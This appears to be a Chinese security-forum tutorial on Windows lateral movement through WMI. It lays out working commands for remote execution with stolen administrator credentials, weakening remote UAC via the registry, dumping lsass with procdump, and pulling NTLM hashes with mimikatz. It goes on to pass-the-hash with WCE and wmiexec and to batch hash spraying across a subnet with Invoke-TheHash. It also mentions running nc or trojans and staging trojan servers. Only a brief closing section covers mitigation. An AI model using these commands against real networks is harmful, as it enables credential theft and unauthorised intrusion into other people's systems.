本帖最后由 zhaorong 于 2021-4-27 15:22 编辑
内网横移RCE(上)
在内网渗透的过程中当获得一台Windows主机的账号密码 并希望在目标主机不开启3389端口下实现远程执
行命令可使用telnet 但telnet默认状态为被禁用。此时 远程执行命令 最常用的有Pec式工具 它有多种语言编
写的版本如Metasploit中的Pec和Pec_psh Impacket中的Pec Empire中的Invoke-Pec等,当然还有Windows
Sysinternals公司pstools 工具包中的Pec模块。这些Pec式工具都极其出色 但因为释放服务 添加服务 这些操
作在各种防御软件的保护下易被管理员发现。除Pec式工具外 我们探讨一些较隐蔽的远程执行命令方式 本篇
讲第一种Windoyws管理技术(WMI)。
一、WMI
WMI(Windows Management Instrumentation)是一项核心的Windoyws'管理技术 在Windows操作系统
中默认启动。用户可以通过WMI管理本地或远程计算机上的资源,但这也为攻击者带来了极大的便利 利用W
MI还可以进行信息收集和探测 反病毒和虚拟机检测 命令执行及权限持久化等操作。WMI服务使用DCOM
TCP端口135)建立初始连接后续的数据交换则使用随机选定的TCP端口。一旦攻击者获得系统管理员的账户
和密码,就可以在目标机器上执行任意命令,进行拷贝文件等操作。
如果攻击者使用WMM进行攻击Windows操作系统默认不在日志中记录这些操作 同时攻击脚本无须写
人磁盘极具隐蔽性。在各种APT事件中 可以发现越来越多攻击者使用WMI进行攻击。
WMI执行命令无法直接显示命令执行结果。国内外安全研究员为回显结果提出了很多想法 譬如将执行结果写人本
地文件然后用文件共享拿回到本地显示;或是把执行结果写人注册表,然后远程读取注册表进行回显。
下面介绍三款工具 ,它们分别无回显、使用写入文件回显及注册表的方式回显。
无回显 系统自带工具
注册表回显 工具有:WMIcmd.exe
写文件回显 工具有:wmiexec.vbs、wmiexec.py
二、工具选择
1.wmic
WMIC是一款命令行管理工具 Windows Server 2003起默认包含。使用WMIC 可管理本地计算机
也可管理同一Windows域内的所有远程计算机(需要必要的权限 而被管理的远程计算机不必事先
安装WMIC 只需要支持WMI即可。
- wmic /node:192.168.195.129 /user:administrator /password:1qaz@WSX process
- call create "cmd.exe /c ipconfig >C:\1.txt"
复制代码
虽没有回显 但我们可手工使用 net use 命令 利用ipc$ 命名管道连接查看192.168.195.129计
算机连接信息和共享资源获得回显。
具体命令如下:
- net use \\192.168.195.129\ipc$ "1qaz@WSX" /user:administrator
复制代码
访问共享资源 使用type获得回显 具体命令如下:
- type \\192.168.195.129\c$\1.txt
复制代码
2.WMIcmd.exe
WMIcmd.exe由NCCGroup公司基于Framework 4开发,是一款用于执行WMI命令的软件。其整个工作过程
为先调用WMI通过账号和密码连接到远程计算机当用户输人命令时WMI创建进程执行该命令然后把执行结果
写人注册表接着读取注册表并删除、再把执行结果回显到本地控制台。
优点:远程连接使用135端口通信 不需要额外的端口,若目标主机只开启135端口 这时无法使用P**ec执行命令
只能使用WMI执行。而其他WMI利用工具的执行结果需要通过网络共享拿回本地 而网络共享需要445端口这
种情况使用WMIcmd.exe工具是最佳选择。
缺点:执行结果回显不太稳定需要注册表相关权限。
相关命令如下:
- WMIcmd.exe -h 192.168.195.129 -d hostname -u administrator -p 1qaz@WSX -c "ipconfig"
复制代码
执行效果如图所示。
这里因为192.168.195.129有防护 注册表无法写入导致WMIcmd.exe回显失败同时
在实战中WMIcmd.exe不太好用。
3.wmiexec.vbs
wmiexec.vbs由国内安全研究员Twi1ight开发而成。其整个工作过程是先调用WMI 通过账号和密码连接到
远程计算机使用该账号和密码建立一个到目标的IPC连接 随后WMI会建立一个共享文件夹 用于远程读取命
令执行结果。当用户输人命令时 WMI创建进程执行该命令并把执行结果输出到文件 文件位于之前创建的共
享文件夹中。然后通过FSO组件访问远程共享文件夹中的结果文件,结果输出。当结果读取完成时调用WMI
执行命令删除结果文件。当wmiexec.vbs退出时,删除文件共享。
缺点:执行结果写人文件的方式在如今网络环境中容易被发现并且输出结果需要使用网络共享协议
如果网络共享服务关闭将无法回显。
此时需要执行的命令如下:
- cscript.exe wmiexec.vbs /cmd 192.168.195.129 administrator 1qaz@WSX "ipconfig"
复制代码
wmiexec.vbs执行效果如图所示。
4.wmiexec.py
wmiexec.py出自 Impacket 开发者为SecureAuthCorp 是一款Python类的集合项目。除wmiexec.py
较著名地还有P**ecSMBExec goldenPac.py其利用MS14-068实施攻击。wmiexec.py会生成一个使用
WindowsManagement Instrumentation的半交互式shell,并以管理员身份运行。不需要在目标服务
器上安装任何的服务/代理 因此隐蔽性较好。
缺点:执行结果写人文件的方式在如今网络环境中容易被发现并且输出结果需要使用网络
共享协议如网络共享服务关闭将无法使用。
- python wmiexec.py -h
- Impacket v0.9.23.dev1+20210416.153120.efbe78bb - Copyright 2020 SecureAuth Corporation
- usage: wmiexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug]
- [-codec CODEC] [-shell-type {cmd,powershell}]
- [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
- [-dc-ip ip address] [-A authfile] [-keytab KEYTAB]
- target [command [command ...]]
复制代码
此时需要执行的命令如下:
- python wmiexec.py administrator:1qaz@WSX@192.168.195.129
复制代码
执行命令效果如图所示。
三、一些意外
1.中文乱码
要解决wmiexec.py中文乱码需改动其源码。因为Impacket输出unicode格式 CMD命令输出ASCII,又因为使用WMIC进
行远程命令执行的主要挑战是将输出返回 wmiexec.py将回显内容重定向到共享网络驱动盘文件,再复制到本地驱动盘 可
见解决乱码需改动wmiexec.py源码让其调用wmic时编码一致。或考虑换用支持中文的wmiexec.vbs。
2.UAC开启
用户权限控制UACUAC默认开启 在windows Vista之后引入了一种默认开启的remote UAC计算机的任
何非SID500本地管理员帐户用户在远程计算机上没有特权提升能力并且用户无法执行管理任务。该技术
最早出现在Windows Server2008。
UAC的安全性一方面表现在 只有Administrator账号能进行远程连接管理组的其他用户也不能远程连接换用
pecipc尝试 均无法突破UAC。可以通过禁用UAC 然后pec可以使用 修改主机的注册表键值:LocalAccoun
tTokenFilterPolicy 为最低值1即在主机A执行以下命令:
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Polic
ies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
对于域用户不受LocalAccountTokenFilterPolicy限制 当获取到高权限域
用户凭据即可进行WMIC。
3.长时间命令
由于WMI只负责创建进程 其没有办法判断命令是否执行完毕 wmiexec.py脚本采用的方法是延迟
1200ms后读取结果文件 但如果命令执行的时间大于1200ms 可能将出现异常。
对于需要较长时间运行的命令 比如systeminfo 或者ping之类的 要避免出现异常 可在shell模式里面加入了-waitTIME
选项 TIME为要等待的时间。当执行的命令后接-wait5000时 表示这个命令等待5s后再读取结果。否则 直接读取结果
文件会导致读取的结果不完整 然后在删除结果文件时会出错。Ping结果没有读取完整 而且命令执行完后目标服务器
上的wmi.dll结果文件并没有被删除。
对于需要后台运行的命令 考虑使用 -persist选项 当命令加了persist选项 程序会在后台运行 并且不会有结果输出执行
结果返回这个命令进程的PID 方便结束进程。这个选项较适合运行nc或者木马程序。否则因为木马进程一直存在 导致
结果文件被占用 不能删除 也不能改写 需要其他方式 taskkill 远程结束掉卡死的进程来恢复wmiexec.py使用。
4.端口445关闭
尝试用WMIcmd.exe获得回显 即使用135端口获得回显。使用dnslog判断命令执行和是否出网 对于较为苛
刻的环境可考虑在局域网内找肉鸡并架设木马服务台供内网设备下载木马并连接。
四、批量刷
(1)抓哈希
对于Win 10 Server 2012R2版本以上的系统 默认配置下无法抓取得到明文密码 需更改注册表 赋予进程lsass
明文记录密码权限 然后发起进行锁屏命令 待管理员再次输入密码登陆系统。再次抓取将可获得明文密码对于
无法获得明文密码的环境 我们还可抓取其哈希值 使用哈希传递展开渗透,哈希传递其原理与撞库类似。
这里使用到procdump工具 其可规避杀软并抓取敏感信息。procdump.exe是微软官方的进程转储工具其
是一个轻量级的Sysinternal团队开发的命令行工具设计初衷是抓取崩溃进程的内存数据可监控应用程序的
CPU异常动向并在此异常时生成crash dump文件 供研发人员和管理员确定问题发生的原因。此外还可把
它作为生成dump的工具使用在其他的脚本中。
具体命令如下:
- procdump.exe -accepteula -ma lsass.exe lsass.dmp
复制代码
执行效果如图:
将文件lsass.dmp下载到本地 在相同版本的操作系统 使用mimikatz读取密码hashlsass进程可获
取windows处于active状态账号信息。使用本地的mimikatz.exe读取lsass.dmp 。
相关命令如下:
- mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"
复制代码
执行效果如图:
可以看到 此处得到WIN-L28OAICDH11主机Administrator的Hash信息:
- * LM : f67ce55ac831223dc187b8085fe1d9df
- * NTLM : 161cff084477fe596a5db81874498a24
- * SHA1 : d669f3bccf14bf77d64667ec65aae32d2d10039d
复制代码
配合WCE工具的hash注入 命令格式如下:
- wce.exe -s <用户名>:<域>:<lmhash>:<nthash> -c <程序>
复制代码
此时需要执行的命令如下:
- wce.exe -s Administrator:WIN-L28OAICDH11:f67ce55ac831223dc187b80
- 85fe1d9df:161cff084477fe596a5db81874498a24
复制代码
此时提示注入成功 键入net use命令并没有看到有连接 但已连接直接使用ipc
命令操作对方的机器 如下图。
此时还可结合使用前面提到的wmiexec.vbs,获得一个shell具体命令如下:
- cscript //nologo wmiexec.vbs /shell 192.168.195.129
复制代码
执行效果如图:
以此类推 wmiexec.py也有类似地用法 此处不再累赘 其命令可参考如下:
- python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell
- python wmiexec.py -hashes f67ce55ac831223dc187b8085fe1d9df:161cff084477fe596a5
- db81874498a24 administrator@192.168.195.129
复制代码
(2)批量刷
在攻防对抗中 一旦从目标中获取密码哈希值 不要让时间浪费流逝 请立即启动密码破解程序以尝试破解确定此密码
如已获得密码 可使用密码喷射技术 大量帐户和数量很少的密码确保密码很少 不会触发帐户锁定策略。有时不需要
密码进行身份验证 依靠Windows的特性NTLM认证 哈希传递即可完成工作。
为了让NTLM认证更具有效率 我们需要使用到Invoke-TheHash项目 Invoke-TheHash项目是一个基于
Net TCPClient 通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的攻击套件 且执行时
客户端不需要本地管理员权限。
项目内含如下多个脚本如下:
Invoke-WMIExec.ps1(本次使用)
Invoke-SMBExec.ps1
Invoke-SMBEnum.ps1
Invoke-SMBClient.ps1
Invoke-TheHash.ps1
本次为实现批量刷需使用Invoke-WMIExec.ps1和 Invoke-TheHash.ps1使用
时需先加载Invoke-WMIExec.ps1脚本然后加载Invoke-TheHash.ps1脚本因
为Invoke-TheHash里需使用Invoke-WMIExec 方法。
Invoke-TheHash.ps1脚本用法如下:
-Target :目标主机名或IP地址/段。
-Username :用于身份验证的用户名。
-Domain:用于身份验证的域。 本地帐户或在用户名后使用@domain时不需要此参数。
-Hash:用于身份验证的NTLM密码哈希 格式:LM:NTLM 或 NTLM。
-Command :在目标上执行的命令。 如果命令未指定则将检查用户名和哈希是否可以访问目标上的SCM。
-verbose :打印过程详细
先加载Invoke-WMIExec.ps1脚本具体命令如下:
- Import-Module ./Invoke-WMIExec.ps1
- 及
- Import-Module ./Invoke-TheHash.ps1
复制代码
执行效果如图:
然后 使用WMIExec模块进行NTLM认证 具体命令如下:
- Invoke-TheHash -Type WMIExec -Target 192.168.195.129/30 -Username administ
- rator -Hash 61cff084477fe596a5db81874498a24
复制代码
执行效果如图
由上图可看出在实验搭建的C段环境中通过PTH成功找到两台密码相同主机若密码相同的主机数量较多
可考虑让其一机器上CS后 配合自动化CNA脚本 批量ipconfig+whoami完成权限控制证明。
(3)预防缓解
PTH是一种经久不衰的攻击手法利用Windows的自认证机制而不需要破解HASH登录到系统中。微软为解决这个
问题在2014年发布的更新KB2871997可以一定程度防御Pass The Hash KB2871997在win server 2012 R2及以
上版本已默认集成。打了 kb2871997 这个补丁后 常规的哈希传递已经无法成功,但默认的AdministratorSID为
500)账号例外 利用这个账号仍可以进行哈希传递。可见该补丁不代表一劳永逸地阻止PTH 考虑到NTLM认证的天
然缺陷,完全禁止NTLM使用可能会破坏已部署的一些环境 在实际应用中阻力较大。结合经验 实际环境中 预防缓
解PTH建议从以下三方面考虑:
各主机上安装防护,保护NTLM Hash不被获取
域管定期对各用户密码NTLM重复度检测
域administrator用户限制只可访问域控制器
五、小结
在内网渗透的过程中,当获得一台Windows主机的账号密码,并希望在目标主机不开启3389端口下实现远程执行命令可使用
telnet,但telnet默认状态为被禁用。此时 远程执行命令 最常用的有Pec式工具,它有多种语言编写的版本如Metasploit中的
Pec和Pec_psh Impacket中的PecEmpire中的Invoke-Pec等,当然还有Windows Sysinternals公司 pstools工具包中的Pec
模块。这些Pec式工具都极其出色 但因为释放服务 添加服务 这些操作在各种防御软件的保护下易被管理员发现 除Pec式工
具外我们探讨一些较隐蔽的远程执行命令方式 本篇讲了第一种Windoyws管理技术WMI并结合哈希传递做了讲解因为PTH
是一种经久不衰的攻击手法 危害较大 对于攻击者而言 没有Hash就无法实施PTH攻击 WMI命令执行也可一定程度上缓解。
为确保攻击者在你的网络难以立足 防堵仍需做许多工作。 |